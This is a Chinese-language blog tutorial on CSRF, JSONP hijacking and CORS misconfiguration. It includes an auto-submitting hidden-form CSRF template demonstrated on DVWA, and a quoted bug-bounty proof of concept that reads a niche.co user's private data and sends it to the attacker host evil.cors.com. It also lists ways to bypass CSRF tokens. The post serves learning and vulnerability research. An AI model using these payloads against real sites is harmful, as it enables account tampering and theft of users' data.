H0e4a0r1t的小屋

CSRF

字数统计: 841阅读时长: 3 min
2019/05/04 Share

CSRF

0x00.什么是CSRF?

通俗简单点理解就是本该是你本人操作的步骤,攻击者已经给你模拟好了,而只差被系统误认为是你本人在操作,所以只需要你的好奇心驱使你点一下恶意链接,本质上就是你做的操作,只不过操作的value已经被攻击者设置好了,你只是负责触发,即只差你这个身份凭证了。

0x01.CSRF简单演示

这里就拿DVWA来做演示

正常用户修改密码操作,这里并未做任何用户凭证的校验

抓包,可以看到,模拟用户修改密码为123456并提交

BurpSuite自带有构造CSRF的poc的工具

也可以自己构造

CSRF表单自动提交代码

1
2
3
4
5
6
7
<form name="postxss" method="post" action="?前面的url" hidden="hidden">
<input type="text" name=""(可从源代码中查看) value="想要设定的内容" hidden="hidden" />
<input type="submit" value="submit" />
</form>
<script>
document.postxss.submit();
</script>

0x02.JSONP劫持(读取型CSRF)

漏洞案例

这里jsonp做跨域资源共享,通过callback回调函数来获取参数为foo的json格式的数据

构造POC

用户点开链接后即被劫持

0x03.CORS跨域读取

挖掘思路:添加Ogrin头部信息,看返回的数据里面有没有Access-Control-Allow-Orgin这个参数出现如果有。尝试让他变成任意的url,如果在返回包里的Access-Control-Allow-Orgin这个参数后面的值有你放入的url,就可以进行cors劫持了。(acac支持传递cookie,acao支持跨域读取)

漏洞案例

原打算放自己刚挖到的,后面因为poc传递格式还有些问题没有解决,所以找一篇案例吧

A Simple CORS Misconfig Leaked Private Post Of Twitter, Facebook & Instagram

在burp history中看到了有一个响应包中有Access-Control-Allow-Origin:https://niche.co & Access-Control-Allow-Credentials: true,于是尝试通过在请求中发送自定义Origin头来进行利用,并发现服务器只检查“//niche.co”是否在Origin头中。例如:

1
2
Origin: https://evil.co , Access-Control-Allow-Origin: https://niche.co
Origin: https://niche.co.evil.net, Access-Control-Allow-Origin: https://niche.co.evil.net

结合易受攻击的api和站点,我可以使用CORS(图像,电子邮件ID,个人资料信息,CSRF令牌等)窃取有关其他用户的任何信息,所以他做了以下POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<html>
<body>
<button type='button' onclick='cors()'>CORS</button>
<p id='demo'></p>
<script>
function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
var a = this.responseText; // Sensitive data from niche.co about user account
document.getElementById("demo").innerHTML = a;
xhttp.open("POST", "http://evil.cors.com", true);// Sending that data to Attacker's website
xhttp.withCredentials = true;
console.log(a);
xhttp.send("data="+a);
}
};
xhttp.open("GET", "https://www.niche.co/api/v1/users/*******", true);
xhttp.withCredentials = true;
xhttp.send();
}
</script>
</body>
</html>

0x04.CSRF bypass

  • 删除CSRF token / Referer / XRSF Header
  • 置空token参数
  • 修改请求方法 POST修改为GET
  • 与token相同长度的任意字符串替换token
  • 固定token 即攻击者的token放在被攻击者的请求中也可以使用
  • 组合利用 可利用xss获取csrf token
CATALOG
  1. 1. CSRF
    1. 1.1. 0x00.什么是CSRF?
    2. 1.2. 0x01.CSRF简单演示
    3. 1.3. 0x02.JSONP劫持(读取型CSRF)
      1. 1.3.1. 漏洞案例
    4. 1.4. 0x03.CORS跨域读取
      1. 1.4.1. 漏洞案例
    5. 1.5. 0x04.CSRF bypass